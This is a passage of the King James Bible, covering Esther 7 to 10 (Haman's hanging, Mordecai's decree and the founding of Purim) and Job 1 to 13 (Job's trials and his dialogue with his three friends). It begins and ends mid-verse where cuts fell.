Esther said, The adversary and enemy is this wicked Haman. +Then Haman was afraid before the king and the queen. + +7:7 And the king arising from the banquet of wine in his wrath went +into the palace garden: and Haman stood up to make request for his +life to Esther the queen; for he saw that there was evil determined +against him by the king. + +7:8 Then the king returned out of the palace garden into the place of +the banquet of wine; and Haman was fallen upon the bed whereon Esther +was. Then said the king, Will he force the queen also before me in the +house? As the word went out of king's mouth, they covered Haman's +face. + +7:9 And Harbonah, one of the chamberlains, said before the king, +Behold also, the gallows fifty cubits high, which Haman had made for +Mordecai, who spoken good for the king, standeth in the house of +Haman. Then the king said, Hang him thereon. + +7:10 So they hanged Haman on the gallows that he had prepared for +Mordecai. Then was the king's wrath pacified. + +8:1 On that day did the king Ahasuerus give the house of Haman the +Jews' enemy unto Esther the queen. And Mordecai came before the king; +for Esther had told what he was unto her. + +8:2 And the king took off his ring, which he had taken from Haman, and +gave it unto Mordecai. And Esther set Mordecai over the house of +Haman. + +8:3 And Esther spake yet again before the king, and fell down at his +feet, and besought him with tears to put away the mischief of Haman +the Agagite, and his device that he had devised against the Jews. + +8:4 Then the king held out the golden sceptre toward Esther. So Esther +arose, and stood before the king, 8:5 And said, If it please the king, +and if I have favour in his sight, and the thing seem right before the +king, and I be pleasing in his eyes, let it be written to reverse the +letters devised by Haman the son of Hammedatha the Agagite, which he +wrote to destroy the Jews which are in all the king's provinces: 8:6 +For how can I endure to see the evil that shall come unto my people? +or how can I endure to see the destruction of my kindred? 8:7 Then +the king Ahasuerus said unto Esther the queen and to Mordecai the Jew, +Behold, I have given Esther the house of Haman, and him they have +hanged upon the gallows, because he laid his hand upon the Jews. + +8:8 Write ye also for the Jews, as it liketh you, in the king's name, +and seal it with the king's ring: for the writing which is written in +the king's name, and sealed with the king's ring, may no man reverse. + +8:9 Then were the king's scribes called at that time in the third +month, that is, the month Sivan, on the three and twentieth day +thereof; and it was written according to all that Mordecai commanded +unto the Jews, and to the lieutenants, and the deputies and rulers of +the provinces which are from India unto Ethiopia, an hundred twenty +and seven provinces, unto every province according to the writing +thereof, and unto every people after their language, and to the Jews +according to their writing, and according to their language. + +8:10 And he wrote in the king Ahasuerus' name, and sealed it with the +king's ring, and sent letters by posts on horseback, and riders on +mules, camels, and young dromedaries: 8:11 Wherein the king granted +the Jews which were in every city to gather themselves together, and +to stand for their life, to destroy, to slay and to cause to perish, +all the power of the people and province that would assault them, both +little ones and women, and to take the spoil of them for a prey, 8:12 +Upon one day in all the provinces of king Ahasuerus, namely, upon the +thirteenth day of the twelfth month, which is the month Adar. + +8:13 The copy of the writing for a commandment to be given in every +province was published unto all people, and that the Jews should be +ready against that day to avenge themselves on their enemies. + +8:14 So the posts that rode upon mules and camels went out, being +hastened and pressed on by the king's commandment. And the decree was +given at Shushan the palace. + +8:15 And Mordecai went out from the presence of the king in royal +apparel of blue and white, and with a great crown of gold, and with a +garment of fine linen and purple: and the city of Shushan rejoiced and +was glad. + +8:16 The Jews had light, and gladness, and joy, and honour. + +8:17 And in every province, and in every city, whithersoever the +king's commandment and his decree came, the Jews had joy and gladness, +a feast and a good day. And many of the people of the land became +Jews; for the fear of the Jews fell upon them. + +9:1 Now in the twelfth month, that is, the month Adar, on the +thirteenth day of the same, when the king's commandment and his decree +drew near to be put in execution, in the day that the enemies of the +Jews hoped to have power over them, (though it was turned to the +contrary, that the Jews had rule over them that hated them;) 9:2 The +Jews gathered themselves together in their cities throughout all the +provinces of the king Ahasuerus, to lay hand on such as sought their +hurt: and no man could withstand them; for the fear of them fell upon +all people. + +9:3 And all the rulers of the provinces, and the lieutenants, and the +deputies, and officers of the king, helped the Jews; because the fear +of Mordecai fell upon them. + +9:4 For Mordecai was great in the king's house, and his fame went out +throughout all the provinces: for this man Mordecai waxed greater and +greater. + +9:5 Thus the Jews smote all their enemies with the stroke of the +sword, and slaughter, and destruction, and did what they would unto +those that hated them. + +9:6 And in Shushan the palace the Jews slew and destroyed five hundred +men. + +9:7 And Parshandatha, and Dalphon, and Aspatha, 9:8 And Poratha, and +Adalia, and Aridatha, 9:9 And Parmashta, and Arisai, and Aridai, and +Vajezatha, 9:10 The ten sons of Haman the son of Hammedatha, the enemy +of the Jews, slew they; but on the spoil laid they not their hand. + +9:11 On that day the number of those that were slain in Shushan the +palace was brought before the king. + +9:12 And the king said unto Esther the queen, The Jews have slain and +destroyed five hundred men in Shushan the palace, and the ten sons of +Haman; what have they done in the rest of the king's provinces? now +what is thy petition? and it shall be granted thee: or what is thy +request further? and it shall be done. + +9:13 Then said Esther, If it please the king, let it be granted to the +Jews which are in Shushan to do to morrow also according unto this +day's decree, and let Haman's ten sons be hanged upon the gallows. + +9:14 And the king commanded it so to be done: and the decree was given +at Shushan; and they hanged Haman's ten sons. + +9:15 For the Jews that were in Shushan gathered themselves together on +the fourteenth day also of the month Adar, and slew three hundred men +at Shushan; but on the prey they laid not their hand. + +9:16 But the other Jews that were in the king's provinces gathered +themselves together, and stood for their lives, and had rest from +their enemies, and slew of their foes seventy and five thousand, but +they laid not their hands on the prey, 9:17 On the thirteenth day of +the month Adar; and on the fourteenth day of the same rested they, and +made it a day of feasting and gladness. + +9:18 But the Jews that were at Shushan assembled together on the +thirteenth day thereof, and on the fourteenth thereof; and on the +fifteenth day of the same they rested, and made it a day of feasting +and gladness. + +9:19 Therefore the Jews of the villages, that dwelt in the unwalled +towns, made the fourteenth day of the month Adar a day of gladness and +feasting, and a good day, and of sending portions one to another. + +9:20 And Mordecai wrote these things, and sent letters unto all the +Jews that were in all the provinces of the king Ahasuerus, both nigh +and far, 9:21 To stablish this among them, that they should keep the +fourteenth day of the month Adar, and the fifteenth day of the same, +yearly, 9:22 As the days wherein the Jews rested from their enemies, +and the month which was turned unto them from sorrow to joy, and from +mourning into a good day: that they should make them days of feasting +and joy, and of sending portions one to another, and gifts to the +poor. + +9:23 And the Jews undertook to do as they had begun, and as Mordecai +had written unto them; 9:24 Because Haman the son of Hammedatha, the +Agagite, the enemy of all the Jews, had devised against the Jews to +destroy them, and had cast Pur, that is, the lot, to consume them, and +to destroy them; 9:25 But when Esther came before the king, he +commanded by letters that his wicked device, which he devised against +the Jews, should return upon his own head, and that he and his sons +should be hanged on the gallows. + +9:26 Wherefore they called these days Purim after the name of Pur. + +Therefore for all the words of this letter, and of that which they had +seen concerning this matter, and which had come unto them, 9:27 The +Jews ordained, and took upon them, and upon their seed, and upon all +such as joined themselves unto them, so as it should not fail, that +they would keep these two days according to their writing, and +according to their appointed time every year; 9:28 And that these days +should be remembered and kept throughout every generation, every +family, every province, and every city; and that these days of Purim +should not fail from among the Jews, nor the memorial of them perish +from their seed. + +9:29 Then Esther the queen, the daughter of Abihail, and Mordecai the +Jew, wrote with all authority, to confirm this second letter of Purim. + +9:30 And he sent the letters unto all the Jews, to the hundred twenty +and seven provinces of the kingdom of Ahasuerus, with words of peace +and truth, 9:31 To confirm these days of Purim in their times +appointed, according as Mordecai the Jew and Esther the queen had +enjoined them, and as they had decreed for themselves and for their +seed, the matters of the fastings and their cry. + +9:32 And the decree of Esther confirmed these matters of Purim; and it +was written in the book. + +10:1 And the king Ahasuerus laid a tribute upon the land, and upon the +isles of the sea. + +10:2 And all the acts of his power and of his might, and the +declaration of the greatness of Mordecai, whereunto the king advanced +him, are they not written in the book of the chronicles of the kings +of Media and Persia? 10:3 For Mordecai the Jew was next unto king +Ahasuerus, and great among the Jews, and accepted of the multitude of +his brethren, seeking the wealth of his people, and speaking peace to +all his seed. + + + + +The Book of Job + + +1:1 There was a man in the land of Uz, whose name was Job; and that +man was perfect and upright, and one that feared God, and eschewed evil. + +1:2 And there were born unto him seven sons and three daughters. + +1:3 His substance also was seven thousand sheep, and three thousand +camels, and five hundred yoke of oxen, and five hundred she asses, and +a very great household; so that this man was the greatest of all the +men of the east. + +1:4 And his sons went and feasted in their houses, every one his day; +and sent and called for their three sisters to eat and to drink with +them. + +1:5 And it was so, when the days of their feasting were gone about, +that Job sent and sanctified them, and rose up early in the morning, +and offered burnt offerings according to the number of them all: for +Job said, It may be that my sons have sinned, and cursed God in their +hearts. Thus did Job continually. + +1:6 Now there was a day when the sons of God came to present +themselves before the LORD, and Satan came also among them. + +1:7 And the LORD said unto Satan, Whence comest thou? Then Satan +answered the LORD, and said, From going to and fro in the earth, and +from walking up and down in it. + +1:8 And the LORD said unto Satan, Hast thou considered my servant Job, +that there is none like him in the earth, a perfect and an upright +man, one that feareth God, and escheweth evil? 1:9 Then Satan +answered the LORD, and said, Doth Job fear God for nought? 1:10 Hast +not thou made an hedge about him, and about his house, and about all +that he hath on every side? thou hast blessed the work of his hands, +and his substance is increased in the land. + +1:11 But put forth thine hand now, and touch all that he hath, and he +will curse thee to thy face. + +1:12 And the LORD said unto Satan, Behold, all that he hath is in thy +power; only upon himself put not forth thine hand. So Satan went forth +from the presence of the LORD. + +1:13 And there was a day when his sons and his daughters were eating +and drinking wine in their eldest brother's house: 1:14 And there came +a messenger unto Job, and said, The oxen were plowing, and the asses +feeding beside them: 1:15 And the Sabeans fell upon them, and took +them away; yea, they have slain the servants with the edge of the +sword; and I only am escaped alone to tell thee. + +1:16 While he was yet speaking, there came also another, and said, The +fire of God is fallen from heaven, and hath burned up the sheep, and +the servants, and consumed them; and I only am escaped alone to tell +thee. + +1:17 While he was yet speaking, there came also another, and said, The +Chaldeans made out three bands, and fell upon the camels, and have +carried them away, yea, and slain the servants with the edge of the +sword; and I only am escaped alone to tell thee. + +1:18 While he was yet speaking, there came also another, and said, Thy +sons and thy daughters were eating and drinking wine in their eldest +brother's house: 1:19 And, behold, there came a great wind from the +wilderness, and smote the four corners of the house, and it fell upon +the young men, and they are dead; and I only am escaped alone to tell +thee. + +1:20 Then Job arose, and rent his mantle, and shaved his head, and +fell down upon the ground, and worshipped, 1:21 And said, Naked came I +out of my mother's womb, and naked shall I return thither: the LORD +gave, and the LORD hath taken away; blessed be the name of the LORD. + +1:22 In all this Job sinned not, nor charged God foolishly. + +2:1 Again there was a day when the sons of God came to present +themselves before the LORD, and Satan came also among them to present +himself before the LORD. + +2:2 And the LORD said unto Satan, From whence comest thou? And Satan +answered the LORD, and said, From going to and fro in the earth, and +from walking up and down in it. + +2:3 And the LORD said unto Satan, Hast thou considered my servant Job, +that there is none like him in the earth, a perfect and an upright +man, one that feareth God, and escheweth evil? and still he holdeth +fast his integrity, although thou movedst me against him, to destroy +him without cause. + +2:4 And Satan answered the LORD, and said, Skin for skin, yea, all +that a man hath will he give for his life. + +2:5 But put forth thine hand now, and touch his bone and his flesh, +and he will curse thee to thy face. + +2:6 And the LORD said unto Satan, Behold, he is in thine hand; but +save his life. + +2:7 So went Satan forth from the presence of the LORD, and smote Job +with sore boils from the sole of his foot unto his crown. + +2:8 And he took him a potsherd to scrape himself withal; and he sat +down among the ashes. + +2:9 Then said his wife unto him, Dost thou still retain thine +integrity? curse God, and die. + +2:10 But he said unto her, Thou speakest as one of the foolish women +speaketh. What? shall we receive good at the hand of God, and shall we +not receive evil? In all this did not Job sin with his lips. + +2:11 Now when Job's three friends heard of all this evil that was come +upon him, they came every one from his own place; Eliphaz the +Temanite, and Bildad the Shuhite, and Zophar the Naamathite: for they +had made an appointment together to come to mourn with him and to +comfort him. + +2:12 And when they lifted up their eyes afar off, and knew him not, +they lifted up their voice, and wept; and they rent every one his +mantle, and sprinkled dust upon their heads toward heaven. + +2:13 So they sat down with him upon the ground seven days and seven +nights, and none spake a word unto him: for they saw that his grief +was very great. + +3:1 After this opened Job his mouth, and cursed his day. + +3:2 And Job spake, and said, 3:3 Let the day perish wherein I was +born, and the night in which it was said, There is a man child +conceived. + +3:4 Let that day be darkness; let not God regard it from above, +neither let the light shine upon it. + +3:5 Let darkness and the shadow of death stain it; let a cloud dwell +upon it; let the blackness of the day terrify it. + +3:6 As for that night, let darkness seize upon it; let it not be +joined unto the days of the year, let it not come into the number of +the months. + +3:7 Lo, let that night be solitary, let no joyful voice come therein. + +3:8 Let them curse it that curse the day, who are ready to raise up +their mourning. + +3:9 Let the stars of the twilight thereof be dark; let it look for +light, but have none; neither let it see the dawning of the day: 3:10 +Because it shut not up the doors of my mother's womb, nor hid sorrow +from mine eyes. + +3:11 Why died I not from the womb? why did I not give up the ghost +when I came out of the belly? 3:12 Why did the knees prevent me? or +why the breasts that I should suck? 3:13 For now should I have lain +still and been quiet, I should have slept: then had I been at rest, +3:14 With kings and counsellors of the earth, which build desolate +places for themselves; 3:15 Or with princes that had gold, who filled +their houses with silver: 3:16 Or as an hidden untimely birth I had +not been; as infants which never saw light. + +3:17 There the wicked cease from troubling; and there the weary be at +rest. + +3:18 There the prisoners rest together; they hear not the voice of the +oppressor. + +3:19 The small and great are there; and the servant is free from his +master. + +3:20 Wherefore is light given to him that is in misery, and life unto +the bitter in soul; 3:21 Which long for death, but it cometh not; and +dig for it more than for hid treasures; 3:22 Which rejoice +exceedingly, and are glad, when they can find the grave? 3:23 Why is +light given to a man whose way is hid, and whom God hath hedged in? +3:24 For my sighing cometh before I eat, and my roarings are poured +out like the waters. + +3:25 For the thing which I greatly feared is come upon me, and that +which I was afraid of is come unto me. + +3:26 I was not in safety, neither had I rest, neither was I quiet; yet +trouble came. + +4:1 Then Eliphaz the Temanite answered and said, 4:2 If we assay to +commune with thee, wilt thou be grieved? but who can withhold himself +from speaking? 4:3 Behold, thou hast instructed many, and thou hast +strengthened the weak hands. + +4:4 Thy words have upholden him that was falling, and thou hast +strengthened the feeble knees. + +4:5 But now it is come upon thee, and thou faintest; it toucheth thee, +and thou art troubled. + +4:6 Is not this thy fear, thy confidence, thy hope, and the +uprightness of thy ways? 4:7 Remember, I pray thee, who ever +perished, being innocent? or where were the righteous cut off? 4:8 +Even as I have seen, they that plow iniquity, and sow wickedness, reap +the same. + +4:9 By the blast of God they perish, and by the breath of his nostrils +are they consumed. + +4:10 The roaring of the lion, and the voice of the fierce lion, and +the teeth of the young lions, are broken. + +4:11 The old lion perisheth for lack of prey, and the stout lion's +whelps are scattered abroad. + +4:12 Now a thing was secretly brought to me, and mine ear received a +little thereof. + +4:13 In thoughts from the visions of the night, when deep sleep +falleth on men, 4:14 Fear came upon me, and trembling, which made all +my bones to shake. + +4:15 Then a spirit passed before my face; the hair of my flesh stood +up: 4:16 It stood still, but I could not discern the form thereof: an +image was before mine eyes, there was silence, and I heard a voice, +saying, 4:17 Shall mortal man be more just than God? shall a man be +more pure than his maker? 4:18 Behold, he put no trust in his +servants; and his angels he charged with folly: 4:19 How much less in +them that dwell in houses of clay, whose foundation is in the dust, +which are crushed before the moth? 4:20 They are destroyed from +morning to evening: they perish for ever without any regarding it. + +4:21 Doth not their excellency which is in them go away? they die, +even without wisdom. + +5:1 Call now, if there be any that will answer thee; and to which of +the saints wilt thou turn? 5:2 For wrath killeth the foolish man, and +envy slayeth the silly one. + +5:3 I have seen the foolish taking root: but suddenly I cursed his +habitation. + +5:4 His children are far from safety, and they are crushed in the +gate, neither is there any to deliver them. + +5:5 Whose harvest the hungry eateth up, and taketh it even out of the +thorns, and the robber swalloweth up their substance. + +5:6 Although affliction cometh not forth of the dust, neither doth +trouble spring out of the ground; 5:7 Yet man is born unto trouble, as +the sparks fly upward. + +5:8 I would seek unto God, and unto God would I commit my cause: 5:9 +Which doeth great things and unsearchable; marvellous things without +number: 5:10 Who giveth rain upon the earth, and sendeth waters upon +the fields: 5:11 To set up on high those that be low; that those which +mourn may be exalted to safety. + +5:12 He disappointeth the devices of the crafty, so that their hands +cannot perform their enterprise. + +5:13 He taketh the wise in their own craftiness: and the counsel of +the froward is carried headlong. + +5:14 They meet with darkness in the day time, and grope in the noonday +as in the night. + +5:15 But he saveth the poor from the sword, from their mouth, and from +the hand of the mighty. + +5:16 So the poor hath hope, and iniquity stoppeth her mouth. + +5:17 Behold, happy is the man whom God correcteth: therefore despise +not thou the chastening of the Almighty: 5:18 For he maketh sore, and +bindeth up: he woundeth, and his hands make whole. + +5:19 He shall deliver thee in six troubles: yea, in seven there shall +no evil touch thee. + +5:20 In famine he shall redeem thee from death: and in war from the +power of the sword. + +5:21 Thou shalt be hid from the scourge of the tongue: neither shalt +thou be afraid of destruction when it cometh. + +5:22 At destruction and famine thou shalt laugh: neither shalt thou be +afraid of the beasts of the earth. + +5:23 For thou shalt be in league with the stones of the field: and the +beasts of the field shall be at peace with thee. + +5:24 And thou shalt know that thy tabernacle shall be in peace; and +thou shalt visit thy habitation, and shalt not sin. + +5:25 Thou shalt know also that thy seed shall be great, and thine +offspring as the grass of the earth. + +5:26 Thou shalt come to thy grave in a full age, like as a shock of +corn cometh in in his season. + +5:27 Lo this, we have searched it, so it is; hear it, and know thou it +for thy good. + +6:1 But Job answered and said, 6:2 Oh that my grief were throughly +weighed, and my calamity laid in the balances together! 6:3 For now +it would be heavier than the sand of the sea: therefore my words are +swallowed up. + +6:4 For the arrows of the Almighty are within me, the poison whereof +drinketh up my spirit: the terrors of God do set themselves in array +against me. + +6:5 Doth the wild ass bray when he hath grass? or loweth the ox over +his fodder? 6:6 Can that which is unsavoury be eaten without salt? or +is there any taste in the white of an egg? 6:7 The things that my +soul refused to touch are as my sorrowful meat. + +6:8 Oh that I might have my request; and that God would grant me the +thing that I long for! 6:9 Even that it would please God to destroy +me; that he would let loose his hand, and cut me off! 6:10 Then +should I yet have comfort; yea, I would harden myself in sorrow: let +him not spare; for I have not concealed the words of the Holy One. + +6:11 What is my strength, that I should hope? and what is mine end, +that I should prolong my life? 6:12 Is my strength the strength of +stones? or is my flesh of brass? 6:13 Is not my help in me? and is +wisdom driven quite from me? 6:14 To him that is afflicted pity +should be shewed from his friend; but he forsaketh the fear of the +Almighty. + +6:15 My brethren have dealt deceitfully as a brook, and as the stream +of brooks they pass away; 6:16 Which are blackish by reason of the +ice, and wherein the snow is hid: 6:17 What time they wax warm, they +vanish: when it is hot, they are consumed out of their place. + +6:18 The paths of their way are turned aside; they go to nothing, and +perish. + +6:19 The troops of Tema looked, the companies of Sheba waited for +them. + +6:20 They were confounded because they had hoped; they came thither, +and were ashamed. + +6:21 For now ye are nothing; ye see my casting down, and are afraid. + +6:22 Did I say, Bring unto me? or, Give a reward for me of your +substance? 6:23 Or, Deliver me from the enemy's hand? or, Redeem me +from the hand of the mighty? 6:24 Teach me, and I will hold my +tongue: and cause me to understand wherein I have erred. + +6:25 How forcible are right words! but what doth your arguing reprove? +6:26 Do ye imagine to reprove words, and the speeches of one that is +desperate, which are as wind? 6:27 Yea, ye overwhelm the fatherless, +and ye dig a pit for your friend. + +6:28 Now therefore be content, look upon me; for it is evident unto +you if I lie. + +6:29 Return, I pray you, let it not be iniquity; yea, return again, my +righteousness is in it. + +6:30 Is there iniquity in my tongue? cannot my taste discern perverse +things? 7:1 Is there not an appointed time to man upon earth? are not +his days also like the days of an hireling? 7:2 As a servant +earnestly desireth the shadow, and as an hireling looketh for the +reward of his work: 7:3 So am I made to possess months of vanity, and +wearisome nights are appointed to me. + +7:4 When I lie down, I say, When shall I arise, and the night be gone? +and I am full of tossings to and fro unto the dawning of the day. + +7:5 My flesh is clothed with worms and clods of dust; my skin is +broken, and become loathsome. + +7:6 My days are swifter than a weaver's shuttle, and are spent without +hope. + +7:7 O remember that my life is wind: mine eye shall no more see good. + +7:8 The eye of him that hath seen me shall see me no more: thine eyes +are upon me, and I am not. + +7:9 As the cloud is consumed and vanisheth away: so he that goeth down +to the grave shall come up no more. + +7:10 He shall return no more to his house, neither shall his place +know him any more. + +7:11 Therefore I will not refrain my mouth; I will speak in the +anguish of my spirit; I will complain in the bitterness of my soul. + +7:12 Am I a sea, or a whale, that thou settest a watch over me? 7:13 +When I say, My bed shall comfort me, my couch shall ease my +complaints; 7:14 Then thou scarest me with dreams, and terrifiest me +through visions: 7:15 So that my soul chooseth strangling, and death +rather than my life. + +7:16 I loathe it; I would not live alway: let me alone; for my days +are vanity. + +7:17 What is man, that thou shouldest magnify him? and that thou +shouldest set thine heart upon him? 7:18 And that thou shouldest +visit him every morning, and try him every moment? 7:19 How long wilt +thou not depart from me, nor let me alone till I swallow down my +spittle? 7:20 I have sinned; what shall I do unto thee, O thou +preserver of men? why hast thou set me as a mark against thee, so +that I am a burden to myself? 7:21 And why dost thou not pardon my +transgression, and take away my iniquity? for now shall I sleep in the +dust; and thou shalt seek me in the morning, but I shall not be. + +8:1 Then answered Bildad the Shuhite, and said, 8:2 How long wilt thou +speak these things? and how long shall the words of thy mouth be like +a strong wind? 8:3 Doth God pervert judgment? or doth the Almighty +pervert justice? 8:4 If thy children have sinned against him, and he +have cast them away for their transgression; 8:5 If thou wouldest seek +unto God betimes, and make thy supplication to the Almighty; 8:6 If +thou wert pure and upright; surely now he would awake for thee, and +make the habitation of thy righteousness prosperous. + +8:7 Though thy beginning was small, yet thy latter end should greatly +increase. + +8:8 For enquire, I pray thee, of the former age, and prepare thyself +to the search of their fathers: 8:9 (For we are but of yesterday, and +know nothing, because our days upon earth are a shadow:) 8:10 Shall +not they teach thee, and tell thee, and utter words out of their +heart? 8:11 Can the rush grow up without mire? can the flag grow +without water? 8:12 Whilst it is yet in his greenness, and not cut +down, it withereth before any other herb. + +8:13 So are the paths of all that forget God; and the hypocrite's hope +shall perish: 8:14 Whose hope shall be cut off, and whose trust shall +be a spider's web. + +8:15 He shall lean upon his house, but it shall not stand: he shall +hold it fast, but it shall not endure. + +8:16 He is green before the sun, and his branch shooteth forth in his +garden. + +8:17 His roots are wrapped about the heap, and seeth the place of +stones. + +8:18 If he destroy him from his place, then it shall deny him, saying, +I have not seen thee. + +8:19 Behold, this is the joy of his way, and out of the earth shall +others grow. + +8:20 Behold, God will not cast away a perfect man, neither will he +help the evil doers: 8:21 Till he fill thy mouth with laughing, and +thy lips with rejoicing. + +8:22 They that hate thee shall be clothed with shame; and the dwelling +place of the wicked shall come to nought. + +9:1 Then Job answered and said, 9:2 I know it is so of a truth: but +how should man be just with God? 9:3 If he will contend with him, he +cannot answer him one of a thousand. + +9:4 He is wise in heart, and mighty in strength: who hath hardened +himself against him, and hath prospered? 9:5 Which removeth the +mountains, and they know not: which overturneth them in his anger. + +9:6 Which shaketh the earth out of her place, and the pillars thereof +tremble. + +9:7 Which commandeth the sun, and it riseth not; and sealeth up the +stars. + +9:8 Which alone spreadeth out the heavens, and treadeth upon the waves +of the sea. + +9:9 Which maketh Arcturus, Orion, and Pleiades, and the chambers of +the south. + +9:10 Which doeth great things past finding out; yea, and wonders +without number. + +9:11 Lo, he goeth by me, and I see him not: he passeth on also, but I +perceive him not. + +9:12 Behold, he taketh away, who can hinder him? who will say unto +him, What doest thou? 9:13 If God will not withdraw his anger, the +proud helpers do stoop under him. + +9:14 How much less shall I answer him, and choose out my words to +reason with him? 9:15 Whom, though I were righteous, yet would I not +answer, but I would make supplication to my judge. + +9:16 If I had called, and he had answered me; yet would I not believe +that he had hearkened unto my voice. + +9:17 For he breaketh me with a tempest, and multiplieth my wounds +without cause. + +9:18 He will not suffer me to take my breath, but filleth me with +bitterness. + +9:19 If I speak of strength, lo, he is strong: and if of judgment, who +shall set me a time to plead? 9:20 If I justify myself, mine own +mouth shall condemn me: if I say, I am perfect, it shall also prove me +perverse. + +9:21 Though I were perfect, yet would I not know my soul: I would +despise my life. + +9:22 This is one thing, therefore I said it, He destroyeth the perfect +and the wicked. + +9:23 If the scourge slay suddenly, he will laugh at the trial of the +innocent. + +9:24 The earth is given into the hand of the wicked: he covereth the +faces of the judges thereof; if not, where, and who is he? 9:25 Now +my days are swifter than a post: they flee away, they see no good. + +9:26 They are passed away as the swift ships: as the eagle that +hasteth to the prey. + +9:27 If I say, I will forget my complaint, I will leave off my +heaviness, and comfort myself: 9:28 I am afraid of all my sorrows, I +know that thou wilt not hold me innocent. + +9:29 If I be wicked, why then labour I in vain? 9:30 If I wash myself +with snow water, and make my hands never so clean; 9:31 Yet shalt thou +plunge me in the ditch, and mine own clothes shall abhor me. + +9:32 For he is not a man, as I am, that I should answer him, and we +should come together in judgment. + +9:33 Neither is there any daysman betwixt us, that might lay his hand +upon us both. + +9:34 Let him take his rod away from me, and let not his fear terrify +me: 9:35 Then would I speak, and not fear him; but it is not so with +me. + +10:1 My soul is weary of my life; I will leave my complaint upon +myself; I will speak in the bitterness of my soul. + +10:2 I will say unto God, Do not condemn me; shew me wherefore thou +contendest with me. + +10:3 Is it good unto thee that thou shouldest oppress, that thou +shouldest despise the work of thine hands, and shine upon the counsel +of the wicked? 10:4 Hast thou eyes of flesh? or seest thou as man +seeth? 10:5 Are thy days as the days of man? are thy years as man's +days, 10:6 That thou enquirest after mine iniquity, and searchest +after my sin? 10:7 Thou knowest that I am not wicked; and there is +none that can deliver out of thine hand. + +10:8 Thine hands have made me and fashioned me together round about; +yet thou dost destroy me. + +10:9 Remember, I beseech thee, that thou hast made me as the clay; and +wilt thou bring me into dust again? 10:10 Hast thou not poured me out +as milk, and curdled me like cheese? 10:11 Thou hast clothed me with +skin and flesh, and hast fenced me with bones and sinews. + +10:12 Thou hast granted me life and favour, and thy visitation hath +preserved my spirit. + +10:13 And these things hast thou hid in thine heart: I know that this +is with thee. + +10:14 If I sin, then thou markest me, and thou wilt not acquit me from +mine iniquity. + +10:15 If I be wicked, woe unto me; and if I be righteous, yet will I +not lift up my head. I am full of confusion; therefore see thou mine +affliction; 10:16 For it increaseth. Thou huntest me as a fierce lion: +and again thou shewest thyself marvellous upon me. + +10:17 Thou renewest thy witnesses against me, and increasest thine +indignation upon me; changes and war are against me. + +10:18 Wherefore then hast thou brought me forth out of the womb? Oh +that I had given up the ghost, and no eye had seen me! 10:19 I should +have been as though I had not been; I should have been carried from +the womb to the grave. + +10:20 Are not my days few? cease then, and let me alone, that I may +take comfort a little, 10:21 Before I go whence I shall not return, +even to the land of darkness and the shadow of death; 10:22 A land of +darkness, as darkness itself; and of the shadow of death, without any +order, and where the light is as darkness. + +11:1 Then answered Zophar the Naamathite, and said, 11:2 Should not +the multitude of words be answered? and should a man full of talk be +justified? 11:3 Should thy lies make men hold their peace? and when +thou mockest, shall no man make thee ashamed? 11:4 For thou hast +said, My doctrine is pure, and I am clean in thine eyes. + +11:5 But oh that God would speak, and open his lips against thee; 11:6 +And that he would shew thee the secrets of wisdom, that they are +double to that which is! Know therefore that God exacteth of thee less +than thine iniquity deserveth. + +11:7 Canst thou by searching find out God? canst thou find out the +Almighty unto perfection? 11:8 It is as high as heaven; what canst +thou do? deeper than hell; what canst thou know? 11:9 The measure +thereof is longer than the earth, and broader than the sea. + +11:10 If he cut off, and shut up, or gather together, then who can +hinder him? 11:11 For he knoweth vain men: he seeth wickedness also; +will he not then consider it? 11:12 For vain men would be wise, +though man be born like a wild ass's colt. + +11:13 If thou prepare thine heart, and stretch out thine hands toward +him; 11:14 If iniquity be in thine hand, put it far away, and let not +wickedness dwell in thy tabernacles. + +11:15 For then shalt thou lift up thy face without spot; yea, thou +shalt be stedfast, and shalt not fear: 11:16 Because thou shalt forget +thy misery, and remember it as waters that pass away: 11:17 And thine +age shall be clearer than the noonday: thou shalt shine forth, thou +shalt be as the morning. + +11:18 And thou shalt be secure, because there is hope; yea, thou shalt +dig about thee, and thou shalt take thy rest in safety. + +11:19 Also thou shalt lie down, and none shall make thee afraid; yea, +many shall make suit unto thee. + +11:20 But the eyes of the wicked shall fail, and they shall not +escape, and their hope shall be as the giving up of the ghost. + +12:1 And Job answered and said, 12:2 No doubt but ye are the people, +and wisdom shall die with you. + +12:3 But I have understanding as well as you; I am not inferior to +you: yea, who knoweth not such things as these? 12:4 I am as one +mocked of his neighbour, who calleth upon God, and he answereth him: +the just upright man is laughed to scorn. + +12:5 He that is ready to slip with his feet is as a lamp despised in +the thought of him that is at ease. + +12:6 The tabernacles of robbers prosper, and they that provoke God are +secure; into whose hand God bringeth abundantly. + +12:7 But ask now the beasts, and they shall teach thee; and the fowls +of the air, and they shall tell thee: 12:8 Or speak to the earth, and +it shall teach thee: and the fishes of the sea shall declare unto +thee. + +12:9 Who knoweth not in all these that the hand of the LORD hath +wrought this? 12:10 In whose hand is the soul of every living thing, +and the breath of all mankind. + +12:11 Doth not the ear try words? and the mouth taste his meat? 12:12 +With the ancient is wisdom; and in length of days understanding. + +12:13 With him is wisdom and strength, he hath counsel and +understanding. + +12:14 Behold, he breaketh down, and it cannot be built again: he +shutteth up a man, and there can be no opening. + +12:15 Behold, he withholdeth the waters, and they dry up: also he +sendeth them out, and they overturn the earth. + +12:16 With him is strength and wisdom: the deceived and the deceiver +are his. + +12:17 He leadeth counsellors away spoiled, and maketh the judges +fools. + +12:18 He looseth the bond of kings, and girdeth their loins with a +girdle. + +12:19 He leadeth princes away spoiled, and overthroweth the mighty. + +12:20 He removeth away the speech of the trusty, and taketh away the +understanding of the aged. + +12:21 He poureth contempt upon princes, and weakeneth the strength of +the mighty. + +12:22 He discovereth deep things out of darkness, and bringeth out to +light the shadow of death. + +12:23 He increaseth the nations, and destroyeth them: he enlargeth the +nations, and straiteneth them again. + +12:24 He taketh away the heart of the chief of the people of the +earth, and causeth them to wander in a wilderness where there is no +way. + +12:25 They grope in the dark without light, and he maketh them to +stagger like a drunken man. + +13:1 Lo, mine eye hath seen all this, mine ear hath heard and +understood it. + +13:2 What ye know, the same do I know also: I am not inferior unto +you. + +13:3 Surely I would speak to the Almighty, and I desire to reason with +God. + +13:4 But ye are forgers of lies, ye are all physicians of no value. + +13:5 O that ye would altogether hold your peace! and it should be your +wisdom. + +13:6 Hear now my reasoning, and hearken to the pleadings of my lips. + +13:7 Will ye speak wickedly for God? and talk deceitfully for him? +13:8 Will ye accept his person? will ye contend for God? 13:9 Is it +good that he should search you out? or as one man mocketh another, do +ye so mock him? 13:10 He will surely reprove you, if ye do secretly +accept persons. + +13:11 Shall not his excellency make you afraid? and his dread fall +upon you? 13:12 Your 